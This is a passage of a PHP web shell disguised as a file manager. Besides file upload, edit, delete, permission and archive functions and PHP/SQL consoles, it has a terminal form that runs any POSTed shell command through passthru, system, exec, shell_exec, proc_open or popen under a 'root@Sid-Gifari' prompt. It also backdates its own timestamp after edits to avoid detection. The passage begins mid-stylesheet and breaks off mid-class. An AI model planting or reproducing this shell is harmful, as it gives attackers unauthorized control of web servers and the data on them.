rAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
